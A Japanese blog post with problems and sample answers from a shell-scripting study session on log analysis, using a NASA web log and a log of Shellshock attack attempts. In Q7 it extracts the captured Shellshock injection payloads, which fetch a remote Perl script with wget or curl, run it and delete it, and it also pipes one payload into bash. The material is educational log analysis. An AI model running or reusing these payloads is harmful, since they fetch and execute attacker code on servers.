【問題と解答例】第16回春だからログ解析するぞシェル芸勉強会

Pocket
LINEで送る

問題のみのページはコチラ

始める前に

イントロのスライド

使用するログ

http://blog.ueda.asia/?page_id=5649内の、access.log_.shellshock.gzとaccess_log.nasa.gzです。

環境

今回はLinuxで解答例を作りましたので、BSD系、Macな方は以下の表をご参考に・・・。

Mac,BSD系 Linux
gdate date
gsed sed
tail -r tac
gtr tr
gfold fold

準備0

ログをとってきましょう。

$ wget http://blog.ueda.asia/misc/access_log.nasa.gz
$ wget http://blog.ueda.asia/wp-content/uploads/2015/04/access.log_.shellshock.gz

準備1

access.log.shellshock.gzとaccess_log.nasa.gzについて、日付と時刻を次のように正規化しておきましょう。

###修正前###
ueda@tencore:~/tmp/nasa$ zcat access_log.nasa.gz | head -n 1
199.72.81.55 - - [01/Jul/1995:00:00:01 -0400] "GET /history/apollo/ HTTP/1.0" 200 6245
###修正後###
ueda@tencore:~/tmp/nasa$ cat access_log | head -n 1
19950701 000001 199.72.81.55 - - [01/Jul/1995:00:00:01 -0400] "GET /history/apollo/ HTTP/1.0" 200 6245

解答

ueda@tencore:~/tmp/nasa$ zcat access_log.nasa.gz | awk '{print $4,$0}' |
 sed 's/^\[//' | awk '{gsub(/[\/:]/," ",$1);print}' |
 awk '{$2=$2=="Jul"?"07":$2;$2=$2=="Aug"?"08":$2;print}' |
 sed 's;^\(..\) \(..\) \(....\) \(..\) \(..\) \(..\);\3\2\1 \4\5\6;' > access_log
ueda@tencore:~/tmp/danger$ zcat access.log.shellshock.gz | awk '{print $4,$0}' |
 sed 's/^\[//' | awk '{gsub(/[\/:]/," ",$1);print}' |
 sed -e 's/Sep/09/' -e 's/Oct/10/' -e 's/Nov/11/' -e 's/Dec/12/' |
 sed 's;^\(..\) \(..\) \(....\) \(..\) \(..\) \(..\);\3\2\1 \4\5\6;' > danger_log

ちゃんと変換できているか確認する方法は、例えば次の通り。

ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | uniq | sort -u | less
ueda@tencore:~/tmp/nasa$ awk '{print $2}' access_log | grep -vE '^[0-9]{6}$'

準備2

NASAのログを各日付のファイルに分けておきましょう。ログはQ1で作ったものを使います。1,2行目の8桁日付、6桁時刻は残っていても構いません。

解答

やり方を知っていれば簡単ですね。

ueda@tencore:~/tmp/nasa$ cat access_log | awk '{print $0 > $1}' 

Q1

NASAのログについて、ステータスコードを抽出して、どのコードがいくつあるか数えてみましょう。

解答

NASAのログについては、後ろからフィールドを数える方法を使うことに気づけば簡単です。

ueda@tencore:~/tmp/nasa$ awk '{print $(NF-1)}' access_log |
 LANG=C sort | uniq -c
3100522 200
  73070 302
 266773 304
     15 400
    225 403
  20901 404
     65 500
     41 501

Q2

NASAのログについて、ファイルを開かずに、ログの多い日を探しだしてみましょう。

解答

lsを使ってサイズを見たら開かないでも見当がつきます。

ueda@tencore:~/tmp/nasa$ ls -l 1* | sort -k5,5n  | tail 
-rw-rw-r-- 1 ueda ueda  9897387  4月 17 15:12 19950830
-rw-rw-r-- 1 ueda ueda  9946946  4月 17 15:12 19950711
-rw-rw-r-- 1 ueda ueda 10478436  4月 17 15:12 19950714
-rw-rw-r-- 1 ueda ueda 10859858  4月 17 15:12 19950707
-rw-rw-r-- 1 ueda ueda 11072693  4月 17 15:12 19950831
-rw-rw-r-- 1 ueda ueda 11242160  4月 17 15:12 19950703
-rw-rw-r-- 1 ueda ueda 11483007  4月 17 15:12 19950712
-rw-rw-r-- 1 ueda ueda 11777820  4月 17 15:12 19950705
-rw-rw-r-- 1 ueda ueda 12583986  4月 17 15:12 19950706
-rw-rw-r-- 1 ueda ueda 16557952  4月 17 15:12 19950713

Q3

NASAのログについて、(Q3-1)ログの件数が一番多い曜日はどれでしょうか。(Q3-2)ログの件数が一番多い時間帯(時間帯というのは0時台、1時台、・・・、23時台のこと)はどれでしょうか。

Q3-2については高速な方法を考えてみてください。

解答

(Q3-1)次のように木曜日。

ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | date -f - "+%w" |
 LANG=C sort | uniq -c | sort -k1,1n
 317276 0
 318046 6
 497456 5
 529960 1
 556590 2
 574547 3
 667737 4

(Q3-2)時間をどう切り出すかが鍵です。

ueda@tencore:~/tmp/nasa$ awk '{print substr($2,1,2)}' access_log |
 sort | uniq -c | sort -k1,1nr | head
 230665 15
 227228 12
 225350 13
 223873 14
 217564 16
 211064 11
 193816 10
 178664 09
 178443 17
 149193 08
###データが多いと、sortしない分だけこの方が早い###
ueda@tencore:~/tmp/nasa$ time awk '{a[substr($2,1,2)]++}END{for(v in a){print v,a[v]}}' access_log |
 sort -k2,2nr | head 
15 230665
12 227228
13 225350
14 223873
16 217564
11 211064
10 193816
09 178664
17 178443
08 149193

real	0m1.448s
user	0m1.387s
sys	0m0.066s
###LANG=Cを指定するとさらに速くなる###
ueda@tencore:~/tmp/nasa$ LANG=C time awk '{a[substr($2,1,2)]++}END{for(v in a){print v,a[v]}}' access_log |
 sort -k2,2nr | head 
1.24user 0.06system 0:01.30elapsed 99%CPU (0avgtext+0avgdata 1148maxresident)k
0inputs+0outputs (0major+338minor)pagefaults 0swaps
15 230665
12 227228
13 225350
14 223873
16 217564
11 211064
10 193816
09 178664
17 178443
08 149193

Q4

ShellShockログ内にあるIPアドレス(IPv4)がすべて192.168.から始まることを確認して下さい。IPアドレスはレコードの先頭だけでなく、インジェクションするコードの中にもあるのでご注意ねがいます。

解答

ueda@remote:~$ zcat access.log.shellshock.gz | grep -Eo '([0-9]+\.){3}[0-9]+' |
 awk -F. '{print $1,$2}' | uniq
192 168

Q5

ShellShockログについて、レスポンスのデータ送信量が大きいものを、IPアドレスと共に上から10件を挙げてみましょう。

解答

ueda@tencore:~/tmp/danger$ zcat access.log.shellshock.gz |
 sed 's/^\([0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\) .*" [0-9][0-9][0-9] \([0-9]\+\) ".*$/\1 \2/' |
 sort -k2,2nr | head
192.168.0.90 234
192.168.151.207 234
192.168.151.207 234
192.168.151.207 234
192.168.151.207 234
192.168.151.207 234
192.168.151.207 234
192.168.151.207 234
192.168.151.207 234
192.168.193.42 234

Q6

NASAのログについて、7月8月のうち、ゼロ件の日を列挙してみてください。

解答

###ログの存在しない日(解法1: ツーライナーで)###
ueda@tencore:~/tmp/nasa$ seq -w 01 31 | awk '{print "199507" $1;print "199508" $1}' | sort > days
ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | LANG=C sort -u | cat - days |
 sort | uniq -u
19950729
19950730
19950731
19950802
###Tukubaiでワンライナー###
ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | LANG=C sort -u |
 cat - <(mdate -e 19950701 19950831)| tarr | sort | uniq -u
19950729
19950730
19950731
19950802
###ガチでワンライナー###
ueda@tencore:~/tmp/nasa$ awk '{print $1}' access_log | LANG=C sort -u |
 cat - <(echo 19950{7,8}{01..31}) | tr ' ' '\n' | sort | uniq -u
19950729
19950730
19950731
19950802

Q7

ShellShockのログから、(Q7-1)インジェクションが試みられたコード(「() { :;};」から後ろ)を抽出してみて傾向を話あってみましょう。(Q7-2)出来る人はエスケープも掃除してコードを復元してみましょう。(Q7-3)更にできる人は最後の行のコードを実行してみてください。このログはIPアドレスを変換しているので安全ですが、普通のログでやると死にますのでご注意を。

解答

とりあえずこれで読みやすくなりますね。

###Q7-1 コードを抽出###
ueda@tencore:~/tmp/danger$ cat danger_log | sed 's/^.*()/()/'
###Q7-2 コードの掃除###
ueda@tencore:~/tmp/danger$ cat danger_log | sed 's/^.*()/()/' |
 sed 's/\\"/"/g' | sed 's/\\\\/\\/g' | sed 's/"$//'
...
() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://192.168.144.163/guide/lx.pl -O /tmp/lx.pl;curl -O /tmp/lx.pl http://192.168.144.163/guide/lx.pl;perl /tmp/lx.pl;rm -rf /tmp/lx.pl*");'
() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
###Q7-3 コードの実行(危ない!)###
ueda@tencore:~/tmp/danger$ tail -n 1 danger_log | sed 's/^.*()/()/' |
 sed 's/\\"/"/g' | sed 's/\\\\/\\/g' | sed 's/"$//' |
 sed 's/.........//' | bash -vx
/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
+ /usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget -q http://192.168.63.71/android.txt -O /tmp/android.txt;perl /tmp/android.txt;rm -rf /tmp/android*");'
Content-Type: text/plain

XSUCCESS!
(wgetが失敗するのでCtrl+cで出る。)
Pocket
LINEで送る